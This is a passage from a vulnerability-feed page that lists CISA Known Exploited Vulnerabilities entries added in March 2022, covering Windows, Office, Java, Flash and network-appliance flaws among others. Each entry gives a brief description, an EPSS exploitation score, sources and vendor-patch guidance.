zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Kernel Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2016-0040 Microsoft Windows Kernel Privilege Escalation Vulnerability (Mar 28, 2022). The kernel in Microsoft Windows allows local users to gain privileges via a crafted application. EPSS 24.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-0040&date=2026-10-25). Sources: CISA KEV entry CVE-2016-0040: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-0040&date=2026-10-25 CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Adobe Type Manager Library Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2015-2426 Microsoft Windows Adobe Type Manager Library Remote Code Execution Vulnerability (Mar 28, 2022). A remote code execution vulnerability exists in Microsoft Windows when the Windows Adobe Type Manager Library improperly handles specially crafted OpenType fonts. EPSS 86.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-2426&date=2026-10-25). Sources: CISA KEV entry CVE-2015-2426: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-2426&date=2026-10-25 CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Internet Explorer Memory Corruption Vulnerability https://kevwire.com/record/CVE-2015-2419 Microsoft Internet Explorer Memory Corruption Vulnerability (Mar 28, 2022). JScript in Microsoft Internet Explorer allows remote attackers to execute remote code or cause a denial of service (memory corruption) via a crafted web site. EPSS 53.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-2419&date=2026-10-25). Sources: CISA KEV entry CVE-2015-2419: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-2419&date=2026-10-25 CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Office Uninitialized Memory Use Vulnerability https://kevwire.com/record/CVE-2015-1770 Microsoft Office Uninitialized Memory Use Vulnerability (Mar 28, 2022). Microsoft Office allows remote attackers to execute arbitrary code via a crafted Office document. EPSS 35.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-1770&date=2026-10-25). Sources: CISA KEV entry CVE-2015-1770: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-1770&date=2026-10-25 CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Win32k Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2013-3660 Microsoft Win32k Privilege Escalation Vulnerability (Mar 28, 2022). The EPATHOBJ::pprFlattenRec function in win32k.sys in the kernel-mode drivers in Microsoft does not properly initialize a pointer for the next object in a certain list, which allows local users to gain privileges. EPSS 39.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-3660&date=2026-10-25). Sources: CISA KEV entry CVE-2013-3660: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-3660&date=2026-10-25 CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Reader and Acrobat Arbitrary Integer Overflow Vulnerability https://kevwire.com/record/CVE-2013-2729 Adobe Reader and Acrobat Arbitrary Integer Overflow Vulnerability (Mar 28, 2022). Integer overflow vulnerability in Adobe Reader and Acrobat allows attackers to execute remote code. EPSS 66.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-2729&date=2026-10-25). Sources: CISA KEV entry CVE-2013-2729: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-2729&date=2026-10-25 CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Internet Explorer Use-After-Free Vulnerability https://kevwire.com/record/CVE-2013-2551 Microsoft Internet Explorer Use-After-Free Vulnerability (Mar 28, 2022). Use-after-free vulnerability in Microsoft Internet Explorer allows remote attackers to execute remote code via a crafted web site that triggers access to a deleted object. EPSS 73.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-2551&date=2026-10-25). Sources: CISA KEV entry CVE-2013-2551: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-2551&date=2026-10-25 CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Oracle Java SE Unspecified Vulnerability https://kevwire.com/record/CVE-2013-2465 Oracle Java SE Unspecified Vulnerability (Mar 28, 2022). Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE allows remote attackers to affect confidentiality, integrity, and availability via Unknown vectors related to 2D EPSS 98.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-2465&date=2026-10-25). Sources: CISA KEV entry CVE-2013-2465: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-2465&date=2026-10-25 CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Mozilla Firefox and Thunderbird Denial-of-Service Vulnerability https://kevwire.com/record/CVE-2013-1690 Mozilla Firefox and Thunderbird Denial-of-Service Vulnerability (Mar 28, 2022). Mozilla Firefox and Thunderbird do not properly handle onreadystatechange events in conjunction with page reloading, which allows remote attackers to cause a denial-of-service (DoS) or possibly execute malicious code via a crafted web site. EPSS 69.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-1690&date=2026-10-25). Sources: CISA KEV entry CVE-2013-1690: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-1690&date=2026-10-25 CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Oracle Java SE Sandbox Bypass Vulnerability https://kevwire.com/record/CVE-2012-5076 Oracle Java SE Sandbox Bypass Vulnerability (Mar 28, 2022). The default Java security properties configuration did not restrict access to the com.sun.org.glassfish.external and com.sun.org.glassfish.gmbal packages. An untrusted Java application or applet could use these flaws to bypass Java sandbox restrictions. EPSS 91.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2012-5076&date=2026-10-25). Sources: CISA KEV entry CVE-2012-5076: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2012-5076&date=2026-10-25 CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Word Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2012-2539 Microsoft Word Remote Code Execution Vulnerability (Mar 28, 2022). Microsoft Word allows attackers to execute remote code or cause a denial-of-service (DoS) via crafted RTF data. EPSS 53.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2012-2539&date=2026-10-25). Sources: CISA KEV entry CVE-2012-2539: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2012-2539&date=2026-10-25 CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adobe Flash Player Memory Corruption Vulnerability https://kevwire.com/record/CVE-2012-2034 Adobe Flash Player Memory Corruption Vulnerability (Mar 28, 2022). Adobe Flash Player contains a memory corruption vulnerability that allows for remote code execution or denial-of-service (DoS). EPSS 7.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2012-2034&date=2026-10-25). Sources: CISA KEV entry CVE-2012-2034: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2012-2034&date=2026-10-25 CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Oracle Fusion Middleware Unspecified Vulnerability https://kevwire.com/record/CVE-2012-0518 Oracle Fusion Middleware Unspecified Vulnerability (Mar 28, 2022). Unspecified vulnerability in the Oracle Application Server Single Sign-On component in Oracle Fusion Middleware allows remote attackers to affect integrity via Unknown vectors EPSS 4.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2012-0518&date=2026-10-25). Sources: CISA KEV entry CVE-2012-0518: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2012-0518&date=2026-10-25 CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Ancillary Function Driver (afd.sys) Improper Input Validation Vulnerability https://kevwire.com/record/CVE-2011-2005 Microsoft Ancillary Function Driver (afd.sys) Improper Input Validation Vulnerability (Mar 28, 2022). afd.sys in the Ancillary Function Driver in Microsoft Windows does not properly validate user-mode input passed to kernel mode, which allows local users to gain privileges via a crafted application. EPSS 31.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2011-2005&date=2026-10-25). Sources: CISA KEV entry CVE-2011-2005: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2011-2005&date=2026-10-25 CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 28, 2022; federal due date Apr 18, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Kernel Stack-Based Buffer Overflow Vulnerability https://kevwire.com/record/CVE-2010-4398 Microsoft Windows Kernel Stack-Based Buffer Overflow Vulnerability (Mar 28, 2022). Stack-based buffer overflow in the RtlQueryRegistryValues function in win32k.sys in Microsoft Windows allows local users to gain privileges, and bypass the User Account Control (UAC) feature. EPSS 8.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-4398&date=2026-10-25). Sources: CISA KEV entry CVE-2010-4398: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-4398&date=2026-10-25 CISA added this entry on 2022-03-28. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 28, 2022; federal due date Apr 21, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### WatchGuard Firebox and XTM Appliances Arbitrary Code Execution https://kevwire.com/record/CVE-2022-26318 WatchGuard Firebox and XTM Appliances Arbitrary Code Execution (Mar 25, 2022). On WatchGuard Firebox and XTM appliances, an unauthenticated user can execute arbitrary code. EPSS 78.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-26318&date=2026-10-25). Sources: CISA KEV entry CVE-2022-26318: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-26318&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### MiCollab, MiVoice Business Express Access Control Vulnerability https://kevwire.com/record/CVE-2022-26143 MiCollab, MiVoice Business Express Access Control Vulnerability (Mar 25, 2022). A vulnerability has been identified in MiCollab and MiVoice Business Express that may allow a malicious actor to gain unauthorized access to sensitive information and services, cause performance degradations or a denial of service condition on the affected system. EPSS 87.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-26143&date=2026-10-25). Sources: CISA KEV entry CVE-2022-26143: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-26143&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Print Spooler Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2022-21999 Microsoft Windows Print Spooler Privilege Escalation Vulnerability (Mar 25, 2022). Microsoft Windows Print Spooler contains an unspecified vulnerability which can allow for privilege escalation. EPSS 41.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-21999&date=2026-10-25). Sources: CISA KEV entry CVE-2022-21999: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-21999&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Sitecore XP Remote Command Execution Vulnerability https://kevwire.com/record/CVE-2021-42237 Sitecore XP Remote Command Execution Vulnerability (Mar 25, 2022). Sitcore XP contains an insecure deserialization vulnerability which can allow for remote code execution. EPSS 97.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-42237&date=2026-10-25). Sources: CISA KEV entry CVE-2021-42237: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-42237&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Citrix ShareFile Improper Access Control Vulnerability https://kevwire.com/record/CVE-2021-22941 Citrix ShareFile Improper Access Control Vulnerability (Mar 25, 2022). Improper Access Control in Citrix ShareFile storage zones controller may allow an unauthenticated attacker to remotely compromise the storage zones controller. EPSS 53.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-22941&date=2026-10-25). Sources: CISA KEV entry CVE-2021-22941: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-22941&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### D-Link DIR-610 Devices Remote Command Execution https://kevwire.com/record/CVE-2020-9377 D-Link DIR-610 Devices Remote Command Execution (Mar 25, 2022). D-Link DIR-610 devices allow remote code execution via the cmd parameter to command.php. EPSS 21.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-9377&date=2026-10-25). Sources: CISA KEV entry CVE-2020-9377: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-9377&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: The impacted product is end-of-life and should be disconnected if still in use. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Zyxel Multiple NAS Devices OS Command Injection Vulnerability https://kevwire.com/record/CVE-2020-9054 Zyxel Multiple NAS Devices OS Command Injection Vulnerability (Mar 25, 2022). Multiple Zyxel network-attached storage (NAS) devices contain a pre-authentication command injection vulnerability, which may allow a remote, unauthenticated attacker to execute arbitrary code. EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-9054&date=2026-10-25). Sources: CISA KEV entry CVE-2020-9054: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-9054&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### OpenSMTPD Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2020-7247 OpenSMTPD Remote Code Execution Vulnerability (Mar 25, 2022). smtp_mailaddr in smtp_session.c in OpenSMTPD, as used in OpenBSD and other products, allows remote attackers to execute arbitrary commands as root via a crafted SMTP session. EPSS 99.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-7247&date=2026-10-25). Sources: CISA KEV entry CVE-2020-7247: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-7247&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### VMware Tanzu Spring Cloud Config Directory Traversal Vulnerability https://kevwire.com/record/CVE-2020-5410 VMware Tanzu Spring Cloud Config Directory Traversal Vulnerability (Mar 25, 2022). Spring, by VMware Tanzu, Cloud Config contains a path traversal vulnerability that allows applications to serve arbitrary configuration files. EPSS 95.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-5410&date=2026-10-25). Sources: CISA KEV entry CVE-2020-5410: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-5410&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Sophos SG UTM Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2020-25223 Sophos SG UTM Remote Code Execution Vulnerability (Mar 25, 2022). A remote code execution vulnerability exists in the WebAdmin of Sophos SG UTM. EPSS 96.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-25223&date=2026-10-25). Sources: CISA KEV entry CVE-2020-25223: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-25223&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### QNAP Systems Helpdesk: QNAP Helpdesk Improper Access Control Vulnerability https://kevwire.com/record/CVE-2020-2506 QNAP Systems Helpdesk: QNAP Helpdesk Improper Access Control Vulnerability (Mar 25, 2022). QNAP Helpdesk contains an improper access control vulnerability which could allow an attacker to gain privileges or to read sensitive information. EPSS 2.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-2506&date=2026-10-25). Sources: CISA KEV entry CVE-2020-2506: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-2506&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Palo Alto Networks PAN-OS Authentication Bypass Vulnerability https://kevwire.com/record/CVE-2020-2021 Palo Alto Networks PAN-OS Authentication Bypass Vulnerability (Mar 25, 2022). Palo Alto Networks PAN-OS contains a vulnerability in SAML which allows an attacker to bypass authentication. EPSS 4.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2020-2021&date=2026-10-25). Sources: CISA KEV entry CVE-2020-2021: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2020-2021&date=2026-10-25 CISA added this entry on 2022-03-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply updates per vendor instructions. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Mar 25, 2022; federal due date Apr 15, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### 